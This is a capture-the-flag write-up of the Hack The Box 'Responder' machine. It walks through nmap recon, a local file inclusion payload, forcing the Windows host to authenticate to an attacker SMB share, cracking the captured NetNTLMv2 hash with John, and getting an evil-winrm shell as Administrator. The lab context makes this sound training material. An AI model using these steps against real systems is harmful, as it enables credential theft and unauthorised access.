



HACKTHEBOX

LFI Vulnerability Leading to NetNTMLv2 Hash Capture

Responder Write-Up

10/06/2024



Contents

- 1 ResponderWrite-Up 2
 - 1.1 Information Gathering and Services Enumeration 2
 - 1.2 Penetration 3



1 ResponderWrite-Up

1.1 Information Gathering and Services Enumeration

Host Discovery via ICMPv4 packet:

The **TTL** header of the ICMP packet sent to the target reports a value of **127** which at first we can assume the machine is running on Windows::

```
> ping 10.129.162.131
PING 10.129.162.131 (10.129.162.131) 56(84) bytes of data.
64 bytes from 10.129.162.131: icmp_seq=1 ttl=127 time=86.6 ms
64 bytes from 10.129.162.131: icmp_seq=2 ttl=127 time=86.9 ms
64 bytes from 10.129.162.131: icmp_seq=3 ttl=127 time=87.2 ms
^C
--- 10.129.162.131 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 86.637/86.908/87.201/0.230 ms
```

Port Scanning and Banner Grabbing:

The **nmap** scan shows the following services offered by the machine on the network:

```
1 ports=$(nmap -sS --min-rate 5000 -T4 --max-retries 1 -Pn -n 10.129.9.141 | grep tcp | grep
2 -v Not | awk '{print $1}' | tr -d '/'tcp' | paste -sd ',' )
3
4 nmap -sSV --min-rate 5000 -Pn -n -p$ports 10.129.9.141
```

Listing 1: Nmap scan commands

```
> ports=$(nmap -sS --min-rate 5000 -T4 --max-retries 1 -Pn -n 10.129.9.141 | grep tcp | grep -v Not | awk '{print $1}' | tr -d '/'tcp' | paste -sd ',' )
> echo $ports
80,5985
> nmap -sSV --min-rate 5000 -Pn -n -p$ports 10.129.9.141
Starting Nmap 7.95 ( https://nmap.org ) at 2024-06-12 17:00 CST
Nmap scan report for 10.129.9.141
Host is up (1.6s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp  open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.09 seconds
```

Where before the port scan is completed, we can perform a **banner grabbing** technique with **curl** to discover if the server is running a website on the default http port and check for information that can be revealed on the HTTP headers response:

```
> curl -I 10.129.162.131
HTTP/1.1 200 OK
Date: Wed, 12 Jun 2024 21:20:53 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
X-Powered-By: PHP/8.1.1
Content-Type: text/html; charset=UTF-8
```

The running services on the machine and their ports are summarized in the following table:

Services	Port
Apache 2.4.52 and PHP/8.1.1	80
WinRM	5985


Therefore we can make the following conclusions the following:

Conclusion 1: The remote host is hosting php based website.

Conclusion 2: It appears to be running a 64-bit Windows operating system that can be remotely managed via WinRM protocol.



The web server contains the following php website with the url being **http://unika.htb**:



The site contains a language option that when selected it will load the .html file with a different language, the following url will appear when the action is done: **http://unika.htb/index.php?page=german.html**, this url gives us an idea that the php website is using the **include()** method, this method can potentially be Vulnerability to LFI when the user input is not sanitized. These concepts are briefly explained below:

- **include() method:** A php method that takes a file and loads it into the code scope, it loads the contents into memory and make it available to be read within that scope.

```
1 //vars.php file
2 <?php
3 $name = 'oneFile';
4 $vulnerability = 'LFI';
5 ?>
6 //test.php file
7 <?php
8 echo "A $name $vulnerability"; //input: A
9
10 include(vars.php)
11 echo "A $name $vulnerability" //input: A OneFile Vulnerability
12 ?>
13
14
```

Listing 2: LFI vulnerable php code

- **Local File Inclusion (LFI):** A vulnerability that allows a thread actor to **include, see and execute** local files stored on the target, it differs from a RFI which loads remote files via HTTP or FTP protocols.

1.2 Penetration

As we are attacking a Windows machine, we can leverage the fact that this LFI vulnerability can include a remote SMB resource from our machine. When setting up an SMB server from our attacker machine, the Windows host will then try to authenticate via the NTLM protocol by sending the NetNTLMv2 hash containing a valid username and a hashed password, a password that we will try to crack by brutforcing.

Confirming the existence of LFI vulnerability:

We confirm the existence of a LFI vulnerability by trying to include the following file:

http://unika.htb/index.php?page=../../../../../windows/system32/drivers/etc/hosts, getting as



response the following output and confirming the existence of the LFI vulnerability

```
# Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by
Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host
names. Each # entry should be kept on an individual line. The IP address should # be placed
in the first column followed by the corresponding host name. # The IP address and the host
name should be separated by at least one # space. # # Additionally, comments (such as these)
may be inserted on individual # lines or following the machine name denoted by a '#' symbol.
# # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10
x.acme.com # x client host # localhost name resolution is handled within DNS itself. #
127.0.0.1 localhost # ::1 localhost
```

We set-up a temporal SMB server in our local machine to capture the NTLM hash with wireshark:

SMB server set-up

- Download the smbserver.py script from <https://github.com/fortra/impacket/blob/master/examples/smbserver.py> to set-up a SMB server on a Linux machine.
- Run `python3 smbserver.py "share" -smb2support "/path/to/share"`.
- Open wireshark and select the interface where the SMB2 packets will be sent.


```
> wireshark &>/dev/null & disown
[1] 2655
> python3 smb.py -smb2support /tmp/test
Impacket v0.11.0 - Copyright 2023 Fortra

usage: smb.py [-h] [-comment COMMENT] [-username USERNAME] [-password PASSWORD]
             [-hashes LMHASH:NTHASH] [-ts] [-debug] [-ip INTERFACE_ADDRESS] [-port PORT]
             [-smb2support]
             shareName sharePath
smb.py: error: the following arguments are required: sharePath
> python3 smb.py share -smb2support /tmp/test
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

NTLM hash capture

- Include the following path on the URL `http://unika.htb/index.php?page=//"attacker ip"/share`, this will make the Windows host to try to authenticate with us, providing username information and a hashed password.



- Open Wireshark and filter for SMB2

25	46.943846594	10.129.170.8	SM22	202	Negotiate Protocol Response
26	46.170897529	10.129.170.8	SM22	206	Session Setup Request, NTLMSSP_NEGOTIATE
27	47.175285448	10.129.170.8	SM22	315	Session Setup Request, STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE
28	47.246764514	10.129.170.8	SM22	623	Session Setup Request, NTLMSSP_Auth, User: RESPONDER\Administrator
29	47.246765118	10.129.170.8	SM22	625	Session Setup Response
30	47.337491473	10.129.170.8	SM22	152	Tree Connect Request Tree: \\\\10.10.16.36\\IPCS
31	47.339611811	10.129.170.8	SM22	124	Tree Connect Response
32	47.717875112	10.129.170.8	SM22	124	Tree Connect Request FSCTL_IRFS_Cat_REFERRALS, File: \\\\10.10.16.36\\SHARE
33	47.718928559	10.129.170.8	SM22	170	Tree Connect Response, Error: STATUS_FS_DRIVER_REQUIRED
34	47.809846127	10.129.170.8	SM22	154	Tree Connect Request Tree: \\\\10.10.16.36\\SHARE
35	47.81034109	10.129.170.8	SM22	154	Tree Connect Response
36	47.880992257	10.129.170.8	SM22	260	Create Request File:
37	47.882467985	10.129.170.8	SM22	117	Create Response, Error: STATUS_FILE_IS_A_DIRECTORY
38	47.887939480	10.129.170.8	SM22	112	Tree Disconnect Response
39	47.888045156	10.129.170.8	SM22	112	Tree Disconnect Response
40	47.876439339	10.129.170.8	SM22	112	Tree Disconnect Request
41	47.271503007	10.129.170.8	SM22	112	Tree Disconnect Response
42	47.354872856	10.129.170.8	SM22	112	Session Logout Request
43	47.354876000	10.129.170.8	SM22	112	Session Logout Response

Once we have the NTLMv2 response captured we can build the hash, the structure is as follows:

```
[user name]::[domain name]:[NTLM server challenge]:[NTProofStr]:[rest of NTLMv2 Response]
```

With all the information obtained from the Wireshark capture we can build the NTLmv2 response hash which in this case is the following:

[illegible]

With the hash fully constructed, we can use John The Ripper along with the Rockyou wordlist to crack it, we then will obtain that the credentials are **Administrator:badminton**, the cracked hash is then saved under the **/john** directory withing a file named **john.pot**

```
> john -w=rockyou.txt hash.txt
[archlinux:01007] No HIP capable device found. Disabling component.
[archlinux:01007] shmem: mmap: an error occurred while determining whether or not /tmp/mpi.archlinux.1000/jf.0/984285184/shared_mem_cuda_pool.archlinux could be created.
[archlinux:01007] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728
Warning: detected hash type "netntlmv2", but the string is also recognized as "ntlmv2 -openc1"
Use the "--format=ntlmv2-openc1" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton (Administrator)
1g 0:00:00:00 DONE (2024-06-13 18:16) 100.0g/s 409600p/s 409600c/s 409600C/s slimshady..oooooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
```

With all of this information, we can use `evil-winrm` to connect to the remote host with the obtained credentials as we know the machine is running the WinRM protocol:



```
> evil-winrm -i 10.129.170.8 -p badminton -u administrator
Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
responder\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> _
```

The flag file of this machine is not on the administrator folder, it's on the other user folder, we can perform local user enumeration by running **get-localuser**, then, the flag will be on the other user's directory.